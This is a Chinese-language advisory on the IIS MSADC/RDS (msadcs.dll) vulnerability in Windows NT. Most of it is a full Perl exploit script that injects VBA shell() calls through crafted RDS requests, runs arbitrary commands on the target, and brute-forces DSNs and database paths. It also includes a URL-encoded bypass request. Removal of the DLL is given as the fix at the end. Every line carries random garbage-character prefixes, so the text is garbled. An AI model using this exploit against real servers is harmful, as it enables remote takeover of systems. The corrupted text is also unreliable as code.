IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
:Er^"9'A2 y ;{^Ln4{ 涉及程序：
c9*1$~(v0I Microsoft NT server
?x5wS$^q< c4ZuW_&: 描述：
fd5ZaE#f 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
nL":0!DTRD jsNH`" 详细：
^6)GS%R 如果你没有时间读详细内容的话，就删除:
JGk3 b=K c:\Program Files\Common Files\System\Msadc\msadcs.dll
Xx3 g3P 有关的安全问题就没有了。
/ i-xX* }XGMa?WR 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
N"Qg\PS _ tT@w%Sz57N 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
+{ ")E) 关于利用ODBC远程漏洞的描述，请参看:
fr}1_0DDz PJxak3 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm VxkCK02k ZR;8r Z]( 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
M# \ < http://www.microsoft.com/security/bulletins/MS99-025faq.asp C%}]"0Q1 &dhcKO< 4 这里不再论述。
%Y cx C0S[ kf%&d}2to 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
"*++ 55 T3USNc51 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
W_[|X}lWP 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
ibd$%;bX3 KP[N uXA` GI2eJK #将下面这段保存为txt文件，然后: "perl -x 文件名"
"3{#d9Gs > 63)z I #!perl
<*s"e)XeqF #
^[{`q9A#d # MSADC/RDS 'usage' (aka exploit) script
G"o!} #
S=0"f}Jo. # by rain.forest.puppy
7|&e[@B #
X,C*qw@ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
B :.@ Qi^ # beta test and find errors!
G XDC@+$14 mu6039qy use Socket; use Getopt::Std;
S ~@r getopts("e:vd:h:XR", \%args);
h>}ax\h H~A"C'P3# print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
K0w<[CO B.89_!/:p if (!defined $args{h} && !defined $args{R}) {
V]I:2k5 print qq~
? PBa'g Usage: msadc.pl -h <host> { -d <delay> -X -v }
QGs1zfh* -h <host> = host you want to scan (ip or domain)
T>}0) s -d <seconds> = delay between calls, default 1 second
Bk?8 zYp -X = dump Index Server path table, if available
uije#cj#O -v = verbose
y[:
~ CL -e = external dictionary file for step 5
a}:A, t< 6 si_W:mLF{a Or a -R will resume a command session
2
;JQX ! Vy-28icZ` ~; exit;}
'3A+"k-}mh 2O
eshkE $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
K (<$. if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
?Bo?JMV if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
OF c\fW# if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
ojHhT\M` $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
!Y ( apVQ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
t#C,VwMe[ >\V6+ $cNp if (!defined $args{R}){ $ret = &has_msadc;
]UDd :2yt die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
o^3FL||P#r >(X #<` print "Please type the NT commandline you want to run (cmd /c assumed):\n"
H2_/,n . "cmd /c ";
0,Hq E='w $in=<STDIN>; chomp $in;
%BUEX $command="cmd /c " . $in ;
_ Yfmxn8V QE|`&~sme if (defined $args{R}) {&load; exit;}
S_J,[#& aF!E x print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
b"I~_CL| &try_btcustmr;
LO)GTyzvJ {Fbg]'FQ print "\nStep 2: Trying to make our own DSN...";
8 z Y)J # &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
.*BA 1sjE #~L!pKM print "\nStep 3: Trying known DSNs...";
5sCFzo<=vh &known_dsn;
;HDZ+B S}[l*7 print "\nStep 4: Trying known .mdbs...";
3y99O
$EAc &known_mdb;
KU-'+k2s;p 11@]d ]v , if (defined $args{e}){
Q]@c&* _| print "\nStep 5: Trying dictionary of DSN names...";
<3 A0={En &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
4'' ,6KJ@ yL6^\ x print "Sorry Charley...maybe next time?\n";
C,/O
exit;
?WQNIX4 $B \ H ##############################################################################
I,b9t\(6 ?v:ZU~i sub sendraw { # ripped and modded from whisker
IV'p~t sleep($delay); # it's a DoS on the server! At least on mine...
w5`#q&? my ($pstr)=@_;
CE uWw:) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
(89Ji'dc die("Socket problems\n");
',7a E@PJ if(connect(S,pack "SnA4x8",2,80,$target)){
F@Q^?WV select(S); $|=1;
Wm eK l print $pstr; my @in=<S>;
s=D f ` select(STDOUT); close(S);
}Dn^d}?s|| return @in;
HTV ~ ?E } else { die("Can't connect...\n"); }}
H3 , ut 8-m
3e ##############################################################################
K/txD20
O| LXj5R99S sub make_header { # make the HTTP request
8$ 0\J _ my $msadc=<<EOT
wJe?t$ac? POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
%%%S"$t User-Agent: ACTIVEDATA
{T=52h=e Host: $ip
fiVHRSX60 Content-Length: $clen
jf D1 Connection: Keep-Alive
WK0C 44 \cI]!{ ADCClientVersion:01.06
/.Fj.6U5 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
_%~$'H y 54{q.I@n --!ADM!ROX!YOUR!WORLD!
+`B 'r
' Content-Type: application/x-varg
3uV4 /% U Content-Length: $reqlen
w7FoL oKA& An EOT
r3qf[?3`6 ; $msadc=~s/\n/\r\n/g;
ySe$4deJ return $msadc;}
]N^*tO YuQ~AE'i ##############################################################################
7G< t"' &fwS{n;U sub make_req { # make the RDS request
glE^ t6 ) my ($switch, $p1, $p2)=@_;
-Fxmsi my $req=""; my $t1, $t2, $query, $dsn;
=b LY
/ `S3> 3 if ($switch==1){ # this is the btcustmr.mdb query
z [C3 $query="Select * from Customers where City=" . make_shell();
1D F/6y $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
>xqM5#m`E$ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
(gwj)?: "0CjP+1k elsif ($switch==2){ # this is general make table query
rkB'Hf $query="create table AZZ (B int, C varchar(10))";
oFDz;6 $dsn="$p1";}
gd7^3q[$h hIYTe elsif ($switch==3){ # this is general exploit table query
}^-<k0A4? $query="select * from AZZ where C=" . make_shell();
8 Ti G3 $dsn="$p1";}
P:C2G(V1AR -oyO+1V elsif ($switch==4){ # attempt to hork file info from index server
j}: ~5 |. $query="select path from scope()";
:K':P5i $dsn="Provider=MSIDXS;";}
=8Ehrlq }tG3tz0%fX elsif ($switch==5){ # bad query
2&Jd f $query="select";
}7s>B24J $dsn="$p1";}
HfB@vw^ HN6}R|IH $t1= make_unicode($query);
El-
? % $t2= make_unicode($dsn);
e5?PkFV^a1 $req = "\x02\x00\x03\x00";
+9 XQ[57 $req.= "\x08\x00" . pack ("S1", length($t1));
~Rpm-^ $req.= "\x00\x00" . $t1 ;
~+G#n"P n $req.= "\x08\x00" . pack ("S1", length($t2));
P[ r];e $req.= "\x00\x00" . $t2 ;
47r&8C+&\ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
f )Z%pgB return $req;}
t<j^q`;@v amWD-0V ##############################################################################
zR;X*q"T$4 ? 4 S+edX sub make_shell { # this makes the shell() statement
#]]Su91BA return "'|shell(\"$command\")|'";}
]y@F8$D! &fOdlQ ? ##############################################################################
e:w &(is F_;DN:
{ sub make_unicode { # quick little function to convert to unicode
l [G Os&D1 my ($in)=@_; my $out;
jS.g]k for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
\
%=9 return $out;}
F {+`uG r?/A?DMe ##############################################################################
TUIk$U?/I 1f'Hif*r_X sub rdo_success { # checks for RDO return success (this is kludge)
Wg `AZ=t my (@in) = @_; my $base=content_start(@in);
tK(g-u0N`( if($in[$base]=~/multipart\/mixed/){
S4^N^lQ ] return 1 if( $in[$base+10]=~/^\x09\x00/ );}
D$ {={x return 0;}
5O/i3m26 I 1Sa^7 ##############################################################################
%+)o'nf"U @}-r&/# sub make_dsn { # this makes a DSN for us
->^~KVh& my @drives=("c","d","e","f");
N |g;W print "\nMaking DSN: ";
)~J>X{hy foreach $drive (@drives) {
!7bw 5H print "$drive: ";
~EzaC?fQ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
G oM
ip8'u "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
uX/$CM . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
JA jmrX $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
' XrRhF
( return 0 if $2 eq "404"; # not found/doesn't exist
4+;$7 "fJ if($2 eq "200") {
:O<bA& :d foreach $line (@results) {
x%+{VStA return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
d[ >`")2) } return 0;}
g*UMG> ;<
jbLhHwD ##############################################################################
Yap?^&GV G!N{NCq sub verify_exists {
RyJ 1mAC my ($page)=@_;
v1JS~uDz my @results=sendraw("GET $page HTTP/1.0\n\n");
"9EE1];NT return $results[0];}
2& PPz}Sw -|k)tvAm ##############################################################################
L Q11ba qBV x6MI sub try_btcustmr {
YTQt3=1ii my @drives=("c","d","e","f");
"@A![iP my @dirs=("winnt","winnt35","winnt351","win","windows");
0MMEo~dih s =6}%%q6 foreach $dir (@dirs) {
B(?Yw>Xd[ print "$dir -> "; # fun status so you can see progress
=]`lN-rYw foreach $drive (@drives) {
u]-_<YZ'B print "$drive: "; # ditto
.nu @ o40 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
#`TgZKDg2 $reqlenlen=length( "$reqlen" );
TGXa,A{ $clen= 206 + $reqlenlen + $reqlen;
B
vo5-P6XY >(w2GD? my @results=sendraw(make_header() . make_req(1,$drive,$dir));
` afIYXP if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
U[L9*=P; else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
VGHWNMT W7"{r)7 ##############################################################################
Zv11uH-C Ji1Pz)fq sub odbc_error {
Ho DVn/lr my (@in)=@_; my $base;
u]
:m"L M my $base = content_start(@in);
}8|[;Qa`y if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
/={Js* $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j*"3t^|- $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
&8&d3EQ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
.:p2Tbo return $in[$base+4].$in[$base+5].$in[$base+6];}
/+*#pDx/zW print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
R[z`:1lo print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
a,F&`Wg $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
8.' #?]a KrVcwAcq|1 ##############################################################################
Y2B &go _lzyMEdr sub verbose {
bNFL O
Q my ($in)=@_;
taGU return if !$verbose;
G2 2NQ~w8 print STDOUT "\n$in\n";}
Pq*s{ V.ht,
~l ##############################################################################
@`tXKP$so ES~^M840f sub save {
iwz my ($p1, $p2, $p3, $p4)=@_;
HEL !GC># open(OUT, ">rds.save") || print "Problem saving parameters...\n";
c _a Z{S print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
5D M"0 close OUT;}
-9RDr\&`( MMB@.W ##############################################################################
mk7&<M O# wpbrJ sub load {
,B4VT 96* my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
6sIL.S~c) open(IN,"<rds.save") || die("Couldn't open rds.save\n");
PB%-9C0 @p=<IN>; close(IN);
L
%ip> $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
ReiB $y6 $target= inet_aton($ip) || die("inet_aton problems");
26X+
}^52 print "Resuming to $ip ...";
m)V/L]4 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
f\'{3I29 if($p[1]==1) {
!O\;Nua $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
N#lDW~e' $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
'r(1Nj my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
-a*K$rnB if (rdo_success(@results)){print "Success!\n";}
[I4ege> else { print "failed\n"; verbose(odbc_error(@results));}}
Kv sh elsif ($p[1]==3){
hcV JBK if(run_query("$p[3]")){
eh1Q7 ~ print "Success!\n";} else { print "failed\n"; }}
o6f_l^+H elsif ($p[1]==4){
n JPyM/p if(run_query($drvst . "$p[3]")){
{t};-q!v$j print "Success!\n"; } else { print "failed\n"; }}
qE'9QQ>:b exit;}
e8YMX&0% m<L; ##############################################################################
1 n%? @+W .B#l5pfvP sub create_table {
1&fc1uYB4 my ($in)=@_;
3=-4%%[M@ $reqlen=length( make_req(2,$in,"") ) - 28;
zlR?,h-[3 $reqlenlen=length( "$reqlen" );
I^o!n5VM $clen= 206 + $reqlenlen + $reqlen;
|ZodlYF my @results=sendraw(make_header() . make_req(2,$in,""));
+T9:Udi return 1 if rdo_success(@results);
Bp X6aAx my $temp= odbc_error(@results); verbose($temp);
n| GaV return 1 if $temp=~/Table 'AZZ' already exists/;
TO%dw^{_` return 0;}
^(viM?* M#|dIbns
H ##############################################################################
_ gKe%J& PtqJ*Z sub known_dsn {
@EE."T9 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
-hC,e/+ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
r`c_e)STO "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
>0p$(>N] "banner", "banners", "ads", "ADCDemo", "ADCTest");
}j ,[ 1@S L[5=h foreach $dSn (@dsns) {
d #jK=:eK print ".";
Z|RY2P>E next if (!is_access("DSN=$dSn"));
Xf)| Pu if(create_table("DSN=$dSn")){
099sN"kf print "$dSn successful\n";
~=R SKyzt if(run_query("DSN=$dSn")){
>
iE!m print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
}I`a`0/ print "Something's borked. Use verbose next time\n";}}} print "\n";}
FKe, qTqa 2lL,zFAq ##############################################################################
'+j} >Q A(]H{>PMy sub is_access {
j qr1V_ 3( my ($in)=@_;
]kG(G%r|M $reqlen=length( make_req(5,$in,"") ) - 28;
s,a}? W $reqlenlen=length( "$reqlen" );
^5r9 5 $clen= 206 + $reqlenlen + $reqlen;
sg E-`# my @results=sendraw(make_header() . make_req(5,$in,""));
s+:= I
e my $temp= odbc_error(@results);
fO#vF.k% verbose($temp); return 1 if ($temp=~/Microsoft Access/);
LJoGpr 8 return 0;}
e 8'wG{3A gWY "w!f ##############################################################################
mo~*C Qp`gswvE sub run_query {
U-n;xX0= my ($in)=@_;
AyMd:5; $reqlen=length( make_req(3,$in,"") ) - 28;
ko5V9Drc $reqlenlen=length( "$reqlen" );
[]s^
$clen= 206 + $reqlenlen + $reqlen;
l }XU 59 my @results=sendraw(make_header() . make_req(3,$in,""));
Z $J#| return 1 if rdo_success(@results);
dL|+d: v my $temp= odbc_error(@results); verbose($temp);
jY_T/233d return 0;}
!%dN<%Ah o:V|:*1Q ##############################################################################
r,_?F7 =)|-?\[w sub known_mdb {
Q]p(u\* my @drives=("c","d","e","f","g");
a#T]*(Yq) my @dirs=("winnt","winnt35","winnt351","win","windows");
,^icPQSwc my $dir, $drive, $mdb;
:x_'i_w my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
TIvRhbu 'mV9 {lj7E # this is sparse, because I don't know of many
If%/3UJ@ my @sysmdbs=( "\\catroot\\icatalog.mdb",
Z4IgBn(Z_} "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
'=P7""mN5 "\\system32\\certmdb.mdb",
%,ngRYxT# "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
L e%Z V%, l3 DYg my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Rb3V^;i "\\cfusion\\cfapps\\forums\\forums_.mdb",
-.{g }R% "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
NY?;erX "\\cfusion\\cfapps\\security\\realm_.mdb",
RoAlf+&Qb "\\cfusion\\cfapps\\security\\data\\realm.mdb",
O#Wh
TDF" "\\cfusion\\database\\cfexamples.mdb",
i*CZV|t US "\\cfusion\\database\\cfsnippets.mdb",
?.Pg\ur "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
=/\:>+p^.y "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
QNDHOo>v "\\cfusion\\brighttiger\\database\\cleam.mdb",
Hr$QLtr "\\cfusion\\database\\smpolicy.mdb",
'w1YFdW "\\cfusion\\database\cypress.mdb",
E@Ad '_ H "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
.KdyJ6o "\\website\\cgi-win\\dbsample.mdb",
} (!EuLL "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
^wS5>lf7p "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Is+O ); #these are just
N!`e}Z6S foreach $drive (@drives) {
z3uW )GQ. foreach $dir (@dirs){
yv)ux:P&+ foreach $mdb (@sysmdbs) {
"W(Q%1!Wi print ".";
jv&!Kw.Ug if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
fxT-j s#S print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
4 {9B9={ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
@g G<le6 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
|\n_OS 7 } else { print "Something's borked. Use verbose next time\n"; }}}}}
N<DGw?Rl \( %Y%?dy foreach $drive (@drives) {
'? jlH0; foreach $mdb (@mdbs) {
K(q-?n`< print ".";
*YlV-C<}W" if(create_table($drv . $drive . $dir . $mdb)){
>$ 2V%}; print "\n" . $drive . $dir . $mdb . " successful\n";
"le>_Ze_>| if(run_query($drv . $drive . $dir . $mdb)){
MeUaTJFEB print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
? mlNL/: } else { print "Something's borked. Use verbose next time\n"; }}}}
t:fF U1x }
Q?X>E3=U @$T 9Ll ##############################################################################
*&f$K1p `Qqk<o sub hork_idx {
W2.qhY 5 print "\nAttempting to dump Index Server tables...\n";
~/*MY print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
g(4xC7xK6 $reqlen=length( make_req(4,"","") ) - 28;
1T[et- $reqlenlen=length( "$reqlen" );
85GKymz$P $clen= 206 + $reqlenlen + $reqlen;
MQ"xOcD*F my @results=sendraw2(make_header() . make_req(4,"",""));
+5XpzZ{#Wa if (rdo_success(@results)){
/B}lO0]: my $max=@results; my $c; my %d;
q /n, , ! for($c=19; $c<$max; $c++){
}*L(;r)q $results[$c]=~s/\x00//g;
E4hLtc^
+ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
jRL<JZ1N $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
k?'B*L_Mzv $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
:kGU,>BN $d{"$1$2"}="";}
nR`ov1RH foreach $c (keys %d){ print "$c\n"; }
;amXY@RmH } else {print "Index server doesn't seem to be installed.\n"; }}
w}=5ElB &iV,W4 ##############################################################################
F8apH{&t 50= {%R sub dsn_dict {
|DsnNk0c open(IN, "<$args{e}") || die("Can't open external dictionary\n");
xt*u4% while(<IN>){
sM9+dh $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
^`G}gWBx}w next if (!is_access("DSN=$dSn"));
l]5w$dded~ if(create_table("DSN=$dSn")){
y:6; LZ9[ print "$dSn successful\n";
_8E/) M if(run_query("DSN=$dSn")){
&% -73nYw print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
z^<"x |: print "Something's borked. Use verbose next time\n";}}}
=W'Ae,& print "\n"; close(IN);}
r-<F5<H+K@ & \f{E\A# ##############################################################################
$*?,#ta )6aAB| sub sendraw2 { # ripped and modded from whisker
r9dyA5o D sleep($delay); # it's a DoS on the server! At least on mine...
ow]053:i my ($pstr)=@_;
ZMq6/G*fD socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
s)pbS}L die("Socket problems\n");
S m5H_m! if(connect(S,pack "SnA4x8",2,80,$target)){
' MxrQ;|S print "Connected. Getting data";
,S!az N= open(OUT,">raw.out"); my @in;
}+sT4'Ah> select(S); $|=1; print $pstr;
4F{70"a while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
GP#aya close(OUT); select(STDOUT); close(S); return @in;
wH@N s~[MA } else { die("Can't connect...\n"); }}
yNbjoFM .i p fI"36]F ##############################################################################
m |G'K[8 b1( $R[ sub content_start { # this will take in the server headers
7"C$ pm6 my (@in)=@_; my $c;
j}C}:\-fY for ($c=1;$c<500;$c++) {
Ct>GYk$ if($in[$c] =~/^\x0d\x0a/){
.;N 1N^ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
( U xW; else { return $c+1; }}}
_FWBUZ;N return -1;} # it should never get here actually
U-3 i
w.TuoWo> ##############################################################################
=z
/dcC$r
>=-(UA sub funky {
hr)B[<9 my (@in)=@_; my $error=odbc_error(@in);
aYSCw 3C< if($error=~/ADO could not find the specified provider/){
v%iflCK print "\nServer returned an ADO miscofiguration message\nAborting.\n";
\:UIc*S exit;}
@qYp>|AF if($error=~/A Handler is required/){
[;J>bi;3N print "\nServer has custom handler filters (they most likely are patched)\n";
55fC ~J< exit;}
^=-y%kp" if($error=~/specified Handler has denied Access/){
Sb82}$sO print "\nServer has custom handler filters (they most likely are patched)\n";
{.INnFGP@) exit;}}
nX`u[ks #NryLE!/ ##############################################################################
w}Y lVete Nb'''W-iu sub has_msadc {
]'=)2
.} my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
W}mn}gTQ my $base=content_start(@results);
3z c U%* return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
N <Xq]!
K- return 0;}
z.;ez}6%V 71t* % ########################
lp^<3o*1 O[ef#R! Fkd+pS\9g~ 解决方案：
%Da1(bBh 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
WL"^ >[Vq 2、移除web 目录: /msadc
